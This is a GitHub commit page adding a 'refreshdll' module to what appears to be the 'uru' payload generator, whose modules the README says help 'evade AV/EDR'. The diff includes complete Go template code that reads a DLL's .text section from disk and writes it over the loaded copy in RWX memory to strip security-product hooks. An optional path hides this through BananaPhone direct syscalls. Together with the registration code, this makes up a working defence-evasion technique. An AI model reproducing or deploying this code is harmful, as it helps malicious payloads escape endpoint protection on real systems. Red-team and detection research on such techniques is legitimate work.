Skip to content

Commit 476cfd6

Browse files
committed
Add evasion RefreshDll
Signed-off-by: guervild <[email protected]>
1 parent af64d3c commit 476cfd6

File tree

5 files changed

+217
-0
lines changed

5 files changed

+217
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -202,6 +202,7 @@ Evasions are the modules that help you to evade AV/EDR:
202202
| selfdelete | Delete the current binary during runtime | None | |
203203
| sleep | Sleep during a fixed amount of time in seconds. | Delay: the amount of time to sleep, default is 5s | |
204204
| createmutex | Create a mutex with a specific name. | MutexName: the name of the mutex, default is "UruMutex" | |
205+
| refreshdll | Refresh the given dll to remove hook by using the dll on disk. (Inspired by sliver/scarecrow and TimWhitez works). | UseBanana: UseBananaPhone to perform syscall. Default is "false", DllName: Name of the dll to refresh. Default is "C:\\\\Windows\\\\System32\\\\kernel32.dll". | Only work if windows version is "10.0" |
205206

206207

207208

Diff for: data/templates/evasions/refreshdll/functions.go.tmpl

+144
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
func refreshDll(dllname string) (error) {
2+
osVersion := windows.RtlGetVersion()
3+
currentVersion := fmt.Sprintf("%d.%d", osVersion.MajorVersion, osVersion.MinorVersion)
4+
{{ if .Debug }}
5+
printDebug("info", "Current windows version is %s", currentVersion)
6+
{{end}}
7+
8+
if currentVersion != "10.0" {
9+
{{ if .Debug }}
10+
printDebug("info", "Current windows version is different from 10.0")
11+
{{end}}
12+
return fmt.Errorf("Windows version is not supported for refreshing dll")
13+
}
14+
15+
{{ if .Debug }}
16+
printDebug("info","Reloading dll %s", dllname)
17+
{{end}}
18+
19+
df, e := ioutil.ReadFile(dllname)
20+
if e != nil {
21+
return e
22+
}
23+
24+
f, e := pe.Open(dllname)
25+
if e != nil {
26+
return e
27+
}
28+
29+
x := f.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
30+
ddf := df[x.Offset:x.Size]
31+
return writeGoodBytes(ddf, dllname, x.VirtualAddress, x.Name, x.VirtualSize)
32+
}
33+
34+
func writeGoodBytes(b []byte, pn string, virtualoffset uint32, secname string, vsize uint32) error {
35+
t, e := windows.LoadDLL(pn)
36+
if e != nil {
37+
return e
38+
}
39+
h := t.Handle
40+
dllBase := uintptr(h)
41+
42+
dllOffset := uint(dllBase) + uint(virtualoffset)
43+
44+
{{ if eq .UseBanana "false" }}
45+
46+
var old uint32
47+
e = windows.VirtualProtect(uintptr(dllOffset), uintptr(len(b)), windows.PAGE_EXECUTE_READWRITE, &old)
48+
if e != nil {
49+
return e
50+
}
51+
52+
{{ if .Debug }}
53+
printDebug("info", "Made memory map RWX")
54+
{{end}}
55+
56+
for i := 0; i < len(b); i++ {
57+
loc := uintptr(dllOffset + uint(i))
58+
mem := (*[1]byte)(unsafe.Pointer(loc))
59+
(*mem)[0] = b[i]
60+
}
61+
62+
{{if .Debug}}
63+
printDebug("info", "DLL overwritten")
64+
{{end}}
65+
e = windows.VirtualProtect(uintptr(dllOffset), uintptr(len(b)), old, &old)
66+
if e != nil {
67+
return e
68+
}
69+
{{if .Debug}}
70+
printDebug("info", "Restored memory map permissions")
71+
{{end}}
72+
73+
{{else}}
74+
{{if .Debug}}
75+
printDebug("info", "Refresh dll will use bananaphone to perform syscall")
76+
{{end}}
77+
78+
var thisThread = uintptr(0xffffffffffffffff)
79+
var old uint32
80+
sizet := len(b)
81+
82+
bp, e := bananaphone.NewBananaPhone(bananaphone.AutoBananaPhoneMode)
83+
if e != nil {
84+
panic(e)
85+
}
86+
//resolve the functions and extract the syscalls
87+
write, e := bp.GetSysID("ZwWriteVirtualMemory")
88+
if e != nil {
89+
panic(e)
90+
}
91+
92+
protect, e := bp.GetSysID("NtProtectVirtualMemory")
93+
if e != nil {
94+
panic(e)
95+
}
96+
97+
_, r := bananaphone.Syscall(
98+
protect,
99+
uintptr(thisThread),
100+
uintptr((unsafe.Pointer(&dllOffset))),
101+
uintptr((unsafe.Pointer(&sizet))),
102+
windows.PAGE_EXECUTE_READWRITE,
103+
uintptr((unsafe.Pointer(&old))),
104+
)
105+
if r != nil {
106+
return r
107+
}
108+
{{ if .Debug }}
109+
printDebug("info", "Made memory map RWX")
110+
{{end}}
111+
112+
_, r = bananaphone.Syscall(
113+
write, //NtWriteVirtualMemory
114+
uintptr(thisThread),
115+
uintptr(dllOffset),
116+
uintptr(unsafe.Pointer(&b[0])),
117+
uintptr(len(b)),
118+
0,
119+
)
120+
if r != nil {
121+
return r
122+
}
123+
{{if .Debug}}
124+
printDebug("info", "DLL overwritten")
125+
{{end}}
126+
127+
_, r = bananaphone.Syscall(
128+
protect,
129+
uintptr(thisThread),
130+
uintptr((unsafe.Pointer(&dllOffset))),
131+
uintptr((unsafe.Pointer(&sizet))),
132+
uintptr(old),
133+
uintptr(unsafe.Pointer(&old)),
134+
)
135+
if r != nil {
136+
return r
137+
}
138+
{{if .Debug}}
139+
printDebug("info", "Restored memory map permissions")
140+
{{end}}
141+
{{end}}
142+
143+
return nil
144+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
errRefreshDll_{{.SubNameError}} := refreshDll("{{ .DllName }}")
2+
3+
if errRefreshDll_{{.SubNameError}} != nil {
4+
{{if .Debug}}
5+
printDebug("error","Error while refreshing dll {{ .DllName }}: %s", errRefreshDll_{{.SubNameError}})
6+
printDebug("error","Continue...")
7+
{{end}}
8+
}

Diff for: pkg/evasion/evasion.go

+5
Original file line numberDiff line numberDiff line change
@@ -46,5 +46,10 @@ func GetEvasion(evasionType string) (models.ObjectModel, error) {
4646
return NewCreateMutexEvasion(), nil
4747
}
4848

49+
50+
if evasionType == "refreshdll" {
51+
return NewRefreshDllEvasion(), nil
52+
}
53+
4954
return nil, fmt.Errorf("Wrong evasion type passed: evasion %s is unknown", evasionType)
5055
}

Diff for: pkg/evasion/refresh-dll.go

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package evasion
2+
3+
import (
4+
"embed"
5+
"strings"
6+
7+
"github.com/guervild/uru/pkg/common"
8+
"github.com/guervild/uru/pkg/models"
9+
)
10+
11+
type RefreshDllEvasion struct {
12+
Name string
13+
Description string
14+
DllName string
15+
UseBanana string
16+
SubNameError string
17+
Debug bool
18+
}
19+
20+
func NewRefreshDllEvasion() models.ObjectModel {
21+
return &RefreshDllEvasion{
22+
Name: "RefreshDll",
23+
Description: `Refresh the given dll to remove hook by using the dll on disk. (Inspired by sliver/scarecrow and TomWhitez works).
24+
Argument(s):
25+
UseBanana: UseBananaPhone to perform syscall. Default is "false".
26+
DllName: Name of the dll to refresh. Default is "C:\\\\Windows\\\\System32\\\\kernel32.dll".`,
27+
UseBanana: "false",
28+
DllName: "C:\\\\Windows\\\\System32\\\\kernel32.dll",
29+
Debug: false,
30+
SubNameError: common.RandomStringOnlyChar(5),
31+
}
32+
}
33+
34+
func (e *RefreshDllEvasion) GetImports() []string {
35+
36+
imports := []string{
37+
`"debug/pe"`,
38+
`"io/ioutil"`,
39+
`"fmt"`,
40+
`"unsafe"`,
41+
`"golang.org/x/sys/windows"`,
42+
}
43+
44+
if strings.ToLower(e.UseBanana) == "true" {
45+
imports = append(imports, `bananaphone "github.com/C-Sto/BananaPhone/pkg/BananaPhone"`)
46+
}
47+
48+
return imports
49+
}
50+
51+
func (e *RefreshDllEvasion) RenderInstanciationCode(data embed.FS) (string, error) {
52+
53+
return common.CommonRendering(data, "templates/evasions/refreshdll/instanciation.go.tmpl", e)
54+
}
55+
56+
func (e *RefreshDllEvasion) RenderFunctionCode(data embed.FS) (string, error) {
57+
58+
return common.CommonRendering(data, "templates/evasions/refreshdll/functions.go.tmpl", e)
59+
}

0 commit comments

Comments
 (0)